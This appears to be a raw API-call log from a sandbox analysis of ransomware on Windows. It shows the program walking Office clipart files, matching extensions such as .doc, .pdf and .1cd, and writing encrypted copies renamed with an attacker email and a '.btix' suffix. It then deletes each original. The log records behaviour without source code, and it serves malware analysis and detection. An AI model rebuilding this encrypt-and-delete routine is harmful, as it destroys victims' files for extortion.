[0142.153] lstrlenW (lpString=".bz2") returned 4 [0142.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.153] lstrlenW (lpString=".7z") returned 3 [0142.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.153] lstrlenW (lpString=".dbf") returned 4 [0142.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.153] lstrlenW (lpString=".1cd") returned 4 [0142.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105266.WMF") returned 68 [0142.154] lstrlenW (lpString=".jpg") returned 4 [0142.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.154] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.154] lstrlenW (lpString="J0105272.WMF") returned 12 [0142.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.154] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=17728) returned 1 [0142.154] CloseHandle (hObject=0x390) returned 1 [0142.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0142.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.155] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.155] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0142.156] GetLastError () returned 0x0 [0142.156] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x4540, lpOverlapped=0x0) returned 1 [0142.171] WriteFile (in: hFile=0x54c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x4550, lpOverlapped=0x0) returned 1 [0142.172] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.172] WriteFile (in: hFile=0x54c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.172] SetEndOfFile (hFile=0x54c) returned 1 [0142.172] CloseHandle (hObject=0x54c) returned 1 [0142.172] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.172] SetEndOfFile (hFile=0x390) returned 1 [0142.175] CloseHandle (hObject=0x390) returned 1 [0142.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0142.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.177] lstrlenW (lpString=".doc") returned 4 [0142.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.177] lstrlenW (lpString=".docx") returned 5 [0142.177] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0142.177] lstrlenW (lpString=".pdf") returned 4 [0142.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.177] lstrlenW (lpString=".xls") returned 4 [0142.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.177] lstrlenW (lpString=".xlsx") returned 5 [0142.177] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0142.177] lstrlenW (lpString=".ppt") returned 4 [0142.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.177] lstrlenW (lpString=".zip") returned 4 [0142.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.177] lstrlenW (lpString=".rar") returned 4 [0142.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.177] lstrlenW (lpString=".bz2") returned 4 [0142.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.177] lstrlenW (lpString=".7z") returned 3 [0142.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.177] lstrlenW (lpString=".dbf") returned 4 [0142.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.178] lstrlenW (lpString=".1cd") returned 4 [0142.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.178] lstrlenW (lpString=".jpg") returned 4 [0142.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.178] lstrlenW (lpString=".doc") returned 4 [0142.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.178] lstrlenW (lpString=".docx") returned 5 [0142.178] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0142.178] lstrlenW (lpString=".pdf") returned 4 [0142.178] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.178] lstrlenW (lpString=".xls") returned 4 [0142.178] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.178] lstrlenW (lpString=".xlsx") returned 5 [0142.178] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0142.178] lstrlenW (lpString=".ppt") returned 4 [0142.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.178] lstrlenW (lpString=".zip") returned 4 [0142.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.178] lstrlenW (lpString=".rar") returned 4 [0142.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.178] lstrlenW (lpString=".bz2") returned 4 [0142.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.178] lstrlenW (lpString=".7z") returned 3 [0142.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.179] lstrlenW (lpString=".dbf") returned 4 [0142.179] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.179] lstrlenW (lpString=".1cd") returned 4 [0142.179] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0142.179] lstrlenW (lpString=".jpg") returned 4 [0142.179] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.179] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.179] lstrlenW (lpString="J0105280.WMF") returned 12 [0142.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.191] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11540) returned 1 [0142.191] CloseHandle (hObject=0x390) returned 1 [0142.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 0x220 [0142.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.192] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.192] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0142.206] GetLastError () returned 0x0 [0142.207] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x2d14, lpOverlapped=0x0) returned 1 [0142.235] WriteFile (in: hFile=0x38c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x2d20, lpOverlapped=0x0) returned 1 [0142.378] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.378] WriteFile (in: hFile=0x38c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.378] SetEndOfFile (hFile=0x38c) returned 1 [0142.458] CloseHandle (hObject=0x38c) returned 1 [0142.573] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.573] SetEndOfFile (hFile=0x390) returned 1 [0142.662] CloseHandle (hObject=0x390) returned 1 [0142.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0142.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.664] lstrlenW (lpString=".doc") returned 4 [0142.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.664] lstrlenW (lpString=".docx") returned 5 [0142.664] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0142.664] lstrlenW (lpString=".pdf") returned 4 [0142.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.664] lstrlenW (lpString=".xls") returned 4 [0142.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.664] lstrlenW (lpString=".xlsx") returned 5 [0142.664] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0142.664] lstrlenW (lpString=".ppt") returned 4 [0142.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.664] lstrlenW (lpString=".zip") returned 4 [0142.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.665] lstrlenW (lpString=".rar") returned 4 [0142.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.665] lstrlenW (lpString=".bz2") returned 4 [0142.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.665] lstrlenW (lpString=".7z") returned 3 [0142.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.665] lstrlenW (lpString=".dbf") returned 4 [0142.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.665] lstrlenW (lpString=".1cd") returned 4 [0142.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.665] lstrlenW (lpString=".jpg") returned 4 [0142.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.665] lstrlenW (lpString=".doc") returned 4 [0142.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.665] lstrlenW (lpString=".docx") returned 5 [0142.665] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0142.665] lstrlenW (lpString=".pdf") returned 4 [0142.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.665] lstrlenW (lpString=".xls") returned 4 [0142.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.665] lstrlenW (lpString=".xlsx") returned 5 [0142.665] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0142.665] lstrlenW (lpString=".ppt") returned 4 [0142.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.666] lstrlenW (lpString=".zip") returned 4 [0142.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.666] lstrlenW (lpString=".rar") returned 4 [0142.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.666] lstrlenW (lpString=".bz2") returned 4 [0142.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.666] lstrlenW (lpString=".7z") returned 3 [0142.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.666] lstrlenW (lpString=".dbf") returned 4 [0142.668] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.668] lstrlenW (lpString=".1cd") returned 4 [0142.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105280.WMF") returned 68 [0142.669] lstrlenW (lpString=".jpg") returned 4 [0142.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.669] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0142.669] lstrlenW (lpString="J0105288.WMF") returned 12 [0142.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.670] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=15832) returned 1 [0142.670] CloseHandle (hObject=0x390) returned 1 [0142.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 0x220 [0142.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0142.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0142.670] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.670] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0142.671] GetLastError () returned 0x0 [0142.671] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x3dd8, lpOverlapped=0x0) returned 1 [0142.833] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x3de0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x3de0, lpOverlapped=0x0) returned 1 [0142.834] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0142.835] WriteFile (in: hFile=0x55c, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0142.835] SetEndOfFile (hFile=0x55c) returned 1 [0142.835] CloseHandle (hObject=0x55c) returned 1 [0142.835] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0142.835] SetEndOfFile (hFile=0x390) returned 1 [0142.839] CloseHandle (hObject=0x390) returned 1 [0142.840] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0142.840] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105288.wmf")) returned 1 [0142.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.841] lstrlenW (lpString=".doc") returned 4 [0142.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.841] lstrlenW (lpString=".docx") returned 5 [0142.841] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0142.841] lstrlenW (lpString=".pdf") returned 4 [0142.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.841] lstrlenW (lpString=".xls") returned 4 [0142.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.841] lstrlenW (lpString=".xlsx") returned 5 [0142.841] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0142.841] lstrlenW (lpString=".ppt") returned 4 [0142.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.841] lstrlenW (lpString=".zip") returned 4 [0142.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.841] lstrlenW (lpString=".rar") returned 4 [0142.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.841] lstrlenW (lpString=".bz2") returned 4 [0142.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.841] lstrlenW (lpString=".7z") returned 3 [0142.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.842] lstrlenW (lpString=".dbf") returned 4 [0142.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.842] lstrlenW (lpString=".1cd") returned 4 [0142.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.842] lstrlenW (lpString=".jpg") returned 4 [0142.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.842] lstrlenW (lpString=".doc") returned 4 [0142.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.842] lstrlenW (lpString=".docx") returned 5 [0142.842] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0142.842] lstrlenW (lpString=".pdf") returned 4 [0142.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.842] lstrlenW (lpString=".xls") returned 4 [0142.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.842] lstrlenW (lpString=".xlsx") returned 5 [0142.842] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0142.842] lstrlenW (lpString=".ppt") returned 4 [0142.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.842] lstrlenW (lpString=".zip") returned 4 [0142.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.842] lstrlenW (lpString=".rar") returned 4 [0142.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.843] lstrlenW (lpString=".bz2") returned 4 [0142.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.843] lstrlenW (lpString=".7z") returned 3 [0142.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.843] lstrlenW (lpString=".dbf") returned 4 [0142.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105288.WMF") returned 68 [0142.843] lstrlenW (lpString=".1cd") returned 4 